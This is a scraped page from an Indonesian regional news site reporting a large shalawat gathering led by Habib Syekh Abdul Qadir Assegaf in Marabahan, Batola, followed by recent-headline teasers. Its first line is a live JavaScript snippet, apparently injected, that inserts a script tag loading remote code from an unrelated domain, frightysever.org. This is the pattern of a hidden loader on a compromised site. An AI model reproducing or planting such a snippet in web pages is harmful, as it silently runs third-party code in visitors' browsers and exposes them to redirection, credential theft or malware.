(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Shalawat Habib Syekh Menggemakan Batola


KANALKALIMANTAN.COM, MARABAHAN– Subhanallah. Kalimat takjub akan kebesaran Allah ini spontan terucap ketika menyaksikan acara Batola Bershalawat di Lapangan 5 Desember Marabahan, Kamis (9/1). Ribuan Syechermania (para pecinta habib Syeikh) dari berbagai daerah memadati lapangan.

Acara shalawatan bersama dimulai pukul 20.45 Wita dipimpin langsung Habib Syekh Abdul Qadir Assegaf dari Surakarta, Solo, Jawa Tengah (Jateng). Shalawat pertama Alfa Mabruk yang dilantunkan Habib Syekh. Namun sebelum mengawali shalawatan Habib dari Solo Jateng itu meminta ribuan santri dan Syekhermania untuk menyalakan lampu flash hingga membuat pemandangan terlihat indah.

Acara shalawatan ini setidaknya terdapat 22 syair yang dilantunkan Habib Syekh Abdul Qadir Assegaf. Indahnya lantunan syair yang dibawakan membuat ribuan santri dan Syekhermania turut berkumandang hingga menyeruak dan menggema ke segenap penjuru Kota Marabahan, Ibu kota Kabupaten Batola.


Di sela-sela mengumandangkan shalawat, Habib Syekh juga mengisi dengan patuah-patuah kebaikan agama terutama tentang sikap dan perilaku terpuji Rasulullah Nabi Muhammad SAW dalam berkeluarga, bermasyarakat, dan menjadi pemimpin yang patut dicontoh dan diteladani.

Kegiatan rangkaian Hari Jadi ke-60 Batola ini juga dihadiri Bupati Hj Noormiliyani AS beserta suami H Hasanuddin Murad, Wakil Bupati H Rahmadian Noor dan isteri Hj Saraswati Dwi Putranti, Ketua DPRD Saleh, para anggota Forkopimda masing-masing beserta isteri, ulama, tokoh agama, para pimpinan SKPD, para pimpinan organisasi wanita, serta berbagai lapisan masyarakat.

“Dengan menggemakan shalawat atas nabi semoga makin menambah keimanan, ketaqwaan, kebersamaan, ketenteraman serta terhindar dari berbagai bencana, malapetaka, dan dilimpahkan keberkahan dan kemakmuran, lebih-lebih akhir-akhir ini bangsa Indonesia sering dilanda bentuk malapetaka,” ucap Bupati Batola Hj Noormiliyani.

Di penghujung acara, habib mengajak seluruh hadirin untuk menyanyikan lagu wajib nasional Indonesia Raya, 17 Agustus, dan Garuda Pancasila sebagai wujud kecintaan kepada tanah air Indonesia. (Kanalkalimantan.com/Humpro Batola)

 

Editor : Cell

Desy Arfianty

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

4 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

5 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

7 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

7 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

19 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

21 jam ago

This website uses cookies.